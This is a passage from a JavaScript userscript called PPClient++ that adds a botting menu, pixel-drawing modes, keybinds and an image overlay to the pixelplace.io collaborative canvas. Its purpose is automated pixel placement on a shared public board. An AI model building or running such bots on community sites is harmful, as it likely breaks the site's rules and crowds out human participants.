Azti.onclick = (x,y,pixel) => {
const {width, height} = Azti.map;
const {palette, zero} = Tools.args;
let clr = 0;
let perc = null;
Tools.shader
.tick((x,y,p) => {
const dx = (x/4-width/8)**2;
const dy = (y-height/2)**2;
const dist = (dx+dy)**.75;
const percent = 1000*dist/(height/2)>>0;
if (percent != perc) {
perc = percent;
clr = perc%palette.length;
while (palette[clr] == zero) {
clr++;
if (clr > palette.length-1) clr = 0;
}
}
Azti.set(x, y, clr);
})
.finish((taskId) => {
console.log('Finished Shader');
Tools.order[config.order]
.finish(queue => {
Azti.pos = 0;
Azti.queue = queue;
console.log('Finished Queue');
})
.silent(Azti.config.silent)
.center([width/2, height/2])
.start(Azti.queue);
})
.start(Azti.map);
return false;
};
return true;
}
if (mode == 'rainbow_hole') {
Azti.onclick = (x,y,pixel) => {
const {width, height} = Azti.map;
const {palette, zero} = Tools.args;
let clr = 0;
let perc = null;
Tools.shader
.tick((x,y,p) => {
const dist = ((x-width/2)**2+(y-height/2)**2)**0.5;
const percent = 1000*dist/(height/2)>>0;
if (percent != perc) {
perc = percent;
clr = perc%palette.length;
while (palette[clr] == zero) {
clr++;
if (clr > palette.length-1) clr = 0;
}
}
Azti.set(x, y, clr);
})
.finish((taskId) => {
console.log('shader finished');
Tools.order[config.order]
.finish(queue => {
Azti.pos = 0;
Azti.queue = queue;
console.log('order finished');
})
.silent(Azti.config.silent)
.center([width/2, height/2])
.start(Azti.queue);
})
.start(Azti.map);
return false;
};
return true;
}
if (mode == 'border_rainbow') {
Azti.onclick = (x,y,pixel) => {
const areaSize = 5;
const has = areaSize>>1;
const padding = 2;
const {width, height, pixels} = Azti.map;
Tools.shader
.tick((x,y,p) => {
if (x < areaSize || x > width-1-areaSize || y < areaSize || y > height-1-areaSize) return;
let start = (x-has)+(y-has)*width;
let area = [];
for (let i = 0; i < areaSize; i++) {
const offset = start+i*width;
area.push(...pixels.slice(offset, offset+areaSize));
}
if (area.find(p => p === 255)) {
Azti.set(x, y, Tools.wheel);
return;
}
const size = areaSize+padding*2;
const hs = has+padding;
if (x < size || x > width-1-size || y < size || y > height-1-size) return;
start = (x-hs)+(y-hs)*width;
area = [];
for (let i = 0; i < size; i++) {
const offset = start+i*width;
area.push(...pixels.slice(offset, offset+size));
}
if (area.find(p => p === 255)) {
Azti.set(x, y, 5);
return;
}
Azti.set(x, y, 5);
})
.finish((taskId) => {
console.log('shader finished');
Tools.order[config.order]
.finish(queue => {
Azti.pos = 0;
Azti.queue = queue;
console.log('order finished');
})
.silent(Azti.config.silent)
.center([width/2, height/2])
.start(Azti.queue);
})
.start(Azti.map);
return false;
};
return true;
}
if (mode == 'image') {
Azti.onclick = (x,y,pixel) => {
ImageLoader.loadImage
.finish(([pixels, w, h]) => {
if (config.order == 'fromCenter') x -= w/2>>0;
if (config.order == 'fromCenter') y -= h/2>>0;
Tools.image
.tick((x,y,p) => {
if (!(x>=0&&y>=0&&x<Azti.map.width&&y<Azti.map.height)) return;
Azti.set(x, y, p);
})
.finish((taskId) => {
console.log('Finished Image');
Tools.order[config.order]
.finish(queue => {
Azti.pos = 0;
Azti.queue = queue;
console.log('Fnished Queue');
})
.silent(Azti.config.silent)
.center([x+w/2, y+h/2])
.start(Azti.queue);
})
.start(pixels, x,y,w,h);
}).start();
return false;
};
return true;
}
};
Azti.lock = true;
Azti.mode('image');
Azti.order["left"]
// Does this remember you to something?? :]
const Menu = {
title: $('<h1 id="drag">').text('πππΎπ‘πππ£π©++'),
preview: $('<div id="Bkg">'),
width: $('<input type="number" placeholder="Width">'),
height: $('<input type="number" placeholder="Height">'),
select: $('<select id="select">'),
original: $('<p>'),
restart: $('<button>').text('Restart Botting'),
stop: $('<button>').text('Cancel Botting'),
togglebot: $('<button id=tglbot>').text('Toggle Bot [ON]'),
overlay: $('<button id="overlay">').text('Toggle Overlay')
}
$([Menu.preview[0]]).css({
"border": "2px rgb(8,8,8) solid",
"background": "linear-gradient(90deg, rgba(30,30,30,1) 0%, rgba(34,34,34,1) 100%)",
"border-radius": "0px",
"color": "#d9d2d2",
"padding": "5px",
"opacity": '1',
"margin": "5px"
})
$([Menu.togglebot[0], Menu.restart[0], Menu.title[0], Menu.stop[0], Menu.select[0], Menu.overlay[0],]).css({
"border": "2px rgb(8,8,8) solid",
"background": "linear-gradient(90deg, rgba(30,30,30,1) 0%, rgba(34,34,34,1) 100%)",
"border-radius": "0px",
"color": "#d9d2d2",
"padding": "5px",
"font-family": "monospace",
"user-select": "none",
"opacity": '1',
"margin": "5px"
})
let uiMenu = $('<div id=realdrag>')
//Like my code?? LOL
Menu.preview.append($(Menu.original),
$('<div>').append(Menu.title),
Menu.select.append($('<option>', {
value: 1,
text: 'Left'
})),
Menu.select.append($('<option>', {
value: 2,
text: 'Start'
})),
Menu.select.append($('<option>', {
value: 3,
text: 'End'
})),
Menu.select.append($('<option>', {
value: 4,
text: 'Random'
})),
Menu.select.append($('<option>', {
value: 5,
text: 'Top'
})),
Menu.select.append($('<option>', {
value: 6,
text: 'Right'
})),
Menu.select.append($('<option>', {
value: 7,
text: 'Bottom'
})),
Menu.select.append($('<option>', {
value: 8,
text: 'FromCenter'
})),
Menu.select.append($('<option>', {
value: 9,
text: 'ToCenter'
})),
Menu.select.append($('<option>', {
value: 10,
text: 'FromVertical'
})),
Menu.select.append($('<option>', {
value: 11,
text: 'ToVertical'
})),
Menu.select.append($('<option>', {
value: 12,
text: 'FromHorizontal'
})),
Menu.select.append($('<option>', {
value: 13,
text: 'ToHorizontal'
})),
Menu.original,
$('<div>').append(Menu.togglebot),
$('<div>').append(Menu.restart, Menu.stop, Menu.overlay))
uiMenu.append(Menu.preview)
uiMenu.css({
'display': 'none',
'position': 'absolute',
'font-family': 'Monospace',
'color': '#d9d2d2',
'background': 'rgb(27,27,27)',
'border': '2px rgb(0,178,225) solid',
'top': '23%',
'left': '1%',
'padding': '0px'
})
$(document.body).append(uiMenu)
$('#container').append(Azti)
let buttons = $('#menu-buttons')
let elem = $('<a href="#" title="Bot Menu" class="grey margin-top-button"><img src="https://i.imgur.com/tLWE5SR.png" alt="icon"></a>')
elem.on('click', function () {
$(uiMenu).toggle("slide", { direction: "left" }, 400);
$(this).animate({ deg: 360 }, {
duration: 800,
step: function(now) {
$(this).css({ transform: 'rotate(' + now + 'deg)' });
}
});
});
buttons.append(elem)
$('#select').change(function() {
if ($(this).val() === '1') {
Azti.order["left"]
}
});
$('#select').change(function() {
if ($(this).val() === '2') {
Azti.order["start"]
}
});
$('#select').change(function() {
if ($(this).val() === '3') {
Azti.order["end"]
}
});
$('#select').change(function() {
if ($(this).val() === '4') {
Azti.order["rand"]
}
});
$('#select').change(function() {
if ($(this).val() === '5') {
Azti.order["top"]
}
});
$('#select').change(function() {
if ($(this).val() === '6') {
Azti.order["right"]
}
});
$('#select').change(function() {
if ($(this).val() === '7') {
Azti.order["bottom"]
}
});
$('#select').change(function() {
if ($(this).val() === '8') {
Azti.order["fromCenter"]
}
});
$('#select').change(function() {
if ($(this).val() === '9') {
Azti.order["toCenter"]
}
});
$('#select').change(function() {
if ($(this).val() === '10') {
Azti.order["fromVertical"]
}
});
$('#select').change(function() {
if ($(this).val() === '11') {
Azti.order["toVertical"]
}
});
$('#select').change(function() {
if ($(this).val() === '12') {
Azti.order["fromHorizontal"]
}
});
$('#select').change(function() {
if ($(this).val() === '13') {
Azti.order["toHorizontal"]
}
});
Menu.stop.on('click', function () {
Menu.state = true
toastr.info('Stopped Botting')
Azti.queue = [];
})
Menu.restart.on('click', function () {
Menu.state = true
toastr.info('Restarted Queue')
Azti.pos = 0
})
// KEYBINDS N' TOGGLE BUTTONS
// KEYBINDS N' TOGGLE BUTTONS
// KEYBINDS N' TOGGLE BUTTONS
// KEYBINDS N' TOGGLE BUTTONS
let toggle = function() {
var on = false;
return function() {
if(!on) {
on = true;
toastr.info('Paused Botting')
Azti.mode("none")
document.getElementById('tglbot').innerHTML = 'Toggle Bot [OFF]';
Azti.ignore = true
return;
}
toastr.info('Resumed Botting')
Azti.mode('image')
document.getElementById('tglbot').innerHTML = 'Toggle Bot [ON]';
Azti.ignore = false
on = false;
}
}();
//togglebot
Menu.togglebot.on('click', function () {
Menu.state = true
toggle();
})
document.addEventListener('keydown',function(e) {
var key = e.keyCode || e.which;
if(e.altKey && key === 81) {
toggle();
}
}, false);
document.addEventListener('keydown',function(e) {
var key = e.keyCode || e.which;
if(e.altKey && key === 82) {
toastr.info('Restarted Queue')
Azti.pos = 0
}
});
document.addEventListener('keydown',function(e) {
var key = e.keyCode || e.which;
if(e.altKey && key === 87) {
toastr.info('Stopped Botting')
Azti.queue = [];
}
});
function moveAndShowRealdrag() {
const container = document.getElementById('container');
const realdrag = document.getElementById('realdrag');
if (container && realdrag) {
container.insertAdjacentElement('afterend', realdrag);
}
}
window.addEventListener('load', moveAndShowRealdrag);
const newButton = document.createElement('a');
newButton.href = "#";
newButton.title = "Bot Menu";
newButton.className = "grey margin-top-button rainbow-button";
const img = document.createElement('img');
img.src = "https://i.imgur.com/tLWE5SR.png";
img.alt = "icon";
newButton.appendChild(img);
const toggleRealDrag = () => {
const realDrag = document.getElementById('realdrag');
if (realDrag) {
if (realDrag.style.display === 'none' || realDrag.style.display === '') {
realDrag.style.display = 'block';
} else {
realDrag.style.display = 'none';
}
}
};
const style = document.createElement('style');
style.innerHTML = `
@keyframes rainbow {
0% { background-color: red; }
14% { background-color: orange; }
28% { background-color: yellow; }
42% { background-color: green; }
57% { background-color: blue; }
71% { background-color: indigo; }
85% { background-color: violet; }
100% { background-color: red; }
}
.rainbow-button {
animation: rainbow 10s infinite;
}
.rainbow-button img {
display: block;
margin: 0 auto;
}
`;
document.head.appendChild(style);
newButton.addEventListener('click', (e) => {
$(uiMenu).toggle("slide", { direction: "left" }, 400);
e.preventDefault();
toggleRealDrag();
});
const insertButton = () => {
const container = document.getElementById('container');
if (container) {
const menuButtons = container.querySelector('#menu-buttons');
if (menuButtons) {
menuButtons.appendChild(newButton);
}
}
};
window.addEventListener('load', insertButton);
const realDragElement = document.querySelector('#realdrag');
let isDragging = false;
let initialX;
let initialY;
function handleMouseDown(event) {
isDragging = true;
initialX = event.clientX - realDragElement.getBoundingClientRect().left;
initialY = event.clientY - realDragElement.getBoundingClientRect().top;
}
function handleMouseMove(event) {
if (isDragging) {
const newX = event.clientX - initialX;
const newY = event.clientY - initialY;
realDragElement.style.left = newX + 'px';
realDragElement.style.top = newY + 'px';
}
}
function handleMouseUp() {
isDragging = false;
}
realDragElement.addEventListener('mousedown', handleMouseDown);
document.addEventListener('mousemove', handleMouseMove);
document.addEventListener('mouseup', handleMouseUp);
const overlay = document.createElement('img');
overlay.style.display = 'none';
overlay.style.position = 'absolute';
overlay.style.top = '50px';
overlay.style.left = '50px';
overlay.style.zIndex = '9998';
overlay.style.cursor = 'move';
overlay.style.maxWidth = 'none';
overlay.style.border = '2px solid rgb(0, 178, 225)';
overlay.style.imageRendering = 'pixelated';
overlay.draggable = false;
document.body.appendChild(overlay);
const uiBackground = document.createElement('div');
uiBackground.style.position = 'fixed';
uiBackground.style.top = '10px';
uiBackground.style.left = '10px';
uiBackground.style.zIndex = '9999';
uiBackground.style.padding = '12px';
uiBackground.style.width = '300';
uiBackground.style.height = '300';
uiBackground.style.background = 'rgba(34, 34, 34, 1)';
uiBackground.style.border = '2px solid rgb(0, 178, 225)';
uiBackground.style.color = 'white';
uiBackground.style.display = 'block';
document.body.appendChild(uiBackground);
const uiContainer = document.createElement('div');
uiContainer.style.position = 'fixed';
uiContainer.style.top = '16.5px';
uiContainer.style.left = '16.5px';
uiContainer.style.zIndex = '10000';
uiContainer.style.padding = '10px';
uiContainer.style.background = 'rgba(34, 34, 34, 0)';
uiContainer.style.borderRadius = '0px';
uiContainer.style.border = '2px solid rgb(8, 8, 8)';
uiContainer.style.color = 'white';
uiContainer.style.fontFamily = 'monospace';
uiContainer.style.fontSize = '14.4px';
uiContainer.style.display = 'block';
uiContainer.style.gap = '10px';
uiContainer.style.alignItems = 'center';
document.body.appendChild(uiContainer);
const input = document.createElement('input');
input.type = 'file';
input.accept = 'image/*';
input.style.margin = '5px';
input.style.color = 'transparent';
input.style.width = '102px';
input.style.height = '28px';
input.style.padding = '5px';
input.style.background = 'white';
input.style.border = '2px solid rgb(8, 8, 8)';
input.style.borderRadius = '0px';
input.style.cursor = 'pointer';
input.style.fontFamily = 'monospace';
input.style.fontSize = '14.4px';
uiContainer.appendChild(input);
const scaleLabel = document.createElement('label');
scaleLabel.textContent = 'Scale:';
scaleLabel.style.margin = '5px';
scaleLabel.style.marginLeft = '5px';
scaleLabel.style.marginRight = '5px';
scaleLabel.style.fontFamily = 'monospace';
scaleLabel.style.fontSize = '14.4px';
uiContainer.appendChild(scaleLabel);
const scaleInput = document.createElement('input');
scaleInput.type = 'number';
scaleInput.value = window.devicePixelRatio;
scaleInput.step = '0.1';
scaleInput.min = '0.1';
scaleInput.style.margin = '5px';
scaleInput.style.color = 'white';
scaleInput.style.width = '60px';
scaleInput.style.padding = '5px';
scaleInput.style.border = 'none';
scaleInput.style.background = '#222';
scaleInput.style.borderRadius = '0px';
scaleInput.style.textAlign = 'center';
scaleInput.style.border = '2px solid rgb(8, 8, 8)';
scaleInput.style.fontFamily = 'monospace';
scaleInput.style.fontSize = '14.4px';
uiContainer.appendChild(scaleInput);
const lockButton = document.createElement('button');
lockButton.textContent = 'Lock';
lockButton.style.margin = '5px';
lockButton.style.padding = '5px 10px';
lockButton.style.border = '2px solid rgb(8, 8, 8)';
lockButton.style.background = '#222';
lockButton.style.color = 'white';
lockButton.style.borderRadius = '0px';
lockButton.style.cursor = 'pointer';
lockButton.style.fontFamily = 'monospace';
lockButton.style.fontSize = '14.4px';
let isLocked = false;
lockButton.addEventListener('click', () => {
isLocked = !isLocked;
lockButton.textContent = isLocked ? 'Unlock' : 'Lock';
overlay.style.pointerEvents = isLocked ? 'none' : 'auto';
});
uiContainer.appendChild(lockButton);
const removeButton = document.createElement('button');
removeButton.textContent = 'Remove Image';
removeButton.style.margin = '5px';
removeButton.style.padding = '5px 10px';
removeButton.style.border = '2px solid rgb(8, 8, 8)';
removeButton.style.background = '#222';
removeButton.style.color = 'white';
removeButton.style.borderRadius = '0px';
removeButton.style.cursor = 'pointer';
removeButton.style.fontFamily = 'monospace';
removeButton.style.fontSize = '14.4px';
removeButton.addEventListener('click', () => {
if (overlay.parentNode) {
overlay.parentNode.removeChild(overlay);
alert('Image removed.');
}
});
uiContainer.appendChild(removeButton);
const opacityLabel = document.createElement('label');
opacityLabel.textContent = 'Opacity:';
opacityLabel.style.margin = '5px';
opacityLabel.style.marginRight = '5px';
opacityLabel.style.fontFamily = 'monospace';
opacityLabel.style.fontSize = '14.4px';
uiContainer.appendChild(opacityLabel);
const opacitySlider = document.createElement('input');
opacitySlider.type = 'range';
opacitySlider.min = '0';
opacitySlider.max = '100';
opacitySlider.step = '25';
opacitySlider.value = '100';
opacitySlider.style.margin = '5px';
opacitySlider.style.cursor = 'pointer';
uiContainer.appendChild(opacitySlider);
const opacityInput = document.createElement('input');
opacityInput.type = 'number';
opacityInput.min = '0';
opacityInput.max = '100';
opacityInput.value = '100';
opacityInput.style.margin = '5px';
opacityInput.style.width = 'auto';
opacityInput.style.padding = '5px';
opacityInput.style.border = 'none';
opacityInput.style.background = '#222';
opacityInput.style.borderRadius = '0px';
opacityInput.style.textAlign = 'center';
opacityInput.style.fontFamily = 'monospace';
opacityInput.style.fontSize = '14.4px';
opacityInput.style.border = '2px solid rgb(8, 8, 8)';
opacityInput.style.color = 'white';
uiContainer.appendChild(opacityInput);
const updateOpacity = (value) => {
value = Math.min(100, Math.max(0, value));
overlay.style.opacity = value / 100;
opacitySlider.value = value;
opacityInput.value = value;
};
opacitySlider.addEventListener('input', () => {
updateOpacity(opacitySlider.value);
});
opacityInput.addEventListener('input', () => {
updateOpacity(opacityInput.value);
});
input.addEventListener('change', (event) => {
overlay.style.display = 'block';
const file = event.target.files[0];
if (file) {
const reader = new FileReader();
reader.onload = (e) => {
overlay.src = e.target.result;
};
reader.readAsDataURL(file);
}
});
scaleInput.addEventListener('input', () => {
const scale = parseFloat(scaleInput.value);
overlay.style.transform = `scale(${scale})`;
});
let dragging = false;
let offsetX, offsetY;
overlay.addEventListener('mousedown', (e) => {
if (isLocked) return;
dragging = true;
offsetX = e.clientX - overlay.offsetLeft;
offsetY = e.clientY - overlay.offsetTop;
overlay.style.pointerEvents = 'auto';
});
document.addEventListener('mousemove', (e) => {
if (dragging) {
overlay.style.left = `${e.clientX - offsetX}px`;
overlay.style.top = `${e.clientY - offsetY}px`;
}
});
document.addEventListener('mouseup', () => {
dragging = false;
overlay.style.pointerEvents = 'auto';
});
let isInteractingWithSlider = false;
opacitySlider.addEventListener('mousedown', () => {
isInteractingWithSlider = true;
});
opacitySlider.addEventListener('mouseup', () => {
isInteractingWithSlider = false;
});
let isDraggingUI = false;
let uiOffsetX, uiOffsetY;
uiContainer.addEventListener('mousedown', (e) => {
if (isInteractingWithSlider) return;
isDraggingUI = true;
uiOffsetX = e.clientX - uiContainer.offsetLeft;
uiOffsetY = e.clientY - uiContainer.offsetTop;
});
document.addEventListener('mousemove', (e) => {
if (isDraggingUI) {
uiContainer.style.left = `${e.clientX - uiOffsetX}px`;
uiContainer.style.top = `${e.clientY - uiOffsetY}px`;
uiBackground.style.left = `${e.clientX - uiOffsetX - 6}px`;
uiBackground.style.top = `${e.clientY - uiOffsetY - 6}px`;
}
});
document.addEventListener('mouseup', () => {
isDraggingUI = false;
uiContainer.style.pointerEvents = 'auto';
});
uiContainer.style.display = 'none';
uiBackground.style.display = 'none';
const overlayToggleButton = document.getElementById('overlay');
overlayToggleButton.addEventListener('click', () => {
const isHidden = uiContainer.style.display === 'none';
uiContainer.style.display = isHidden ? 'block' : 'none';
uiBackground.style.display = isHidden ? 'block' : 'none';
});
function uiParity() {
uiBackground.style.width = `${parseFloat(uiContainer.offsetWidth) + 12}px`; // Include padding or borders
uiBackground.style.height = `${parseFloat(uiContainer.offsetHeight + 12)}px`;
}
// Add an observer to track changes in uiContainer
const observer = new MutationObserver(uiParity);
observer.observe(uiContainer, { attributes: true, attributeFilter: ['style'] });
// Initial sync
uiParity();
setInterval(() => {
const menuButtons = document.querySelector('#realdrag #Bkg');
if (!menuButtons) return;
let pingElement = document.querySelector('#ping-info');
if (!pingElement) {
pingElement = document.createElement('div');
pingElement.id = 'ping-info';
pingElement.style.marginTop = '5px';
pingElement.style.color = 'white';
menuButtons.appendChild(pingElement);
}
const start = Date.now();
fetch('https://pixelplace.io/')
.then(() => {
pingElement.textContent = `${Date.now() - start} ms`;
})
.catch(() => {
pingElement.textContent = 'Ping: Disconnected';
});
}, 2000);
})();
document.getElementById('copyright').innerHTML = 'PPClient++ 2 1.0.4.1';
// 0vC4#7152 aka Palette
// This extension may not be sold or be as part of a purchasable bundle, If you have paid for this extension, you should demand your money back immediately.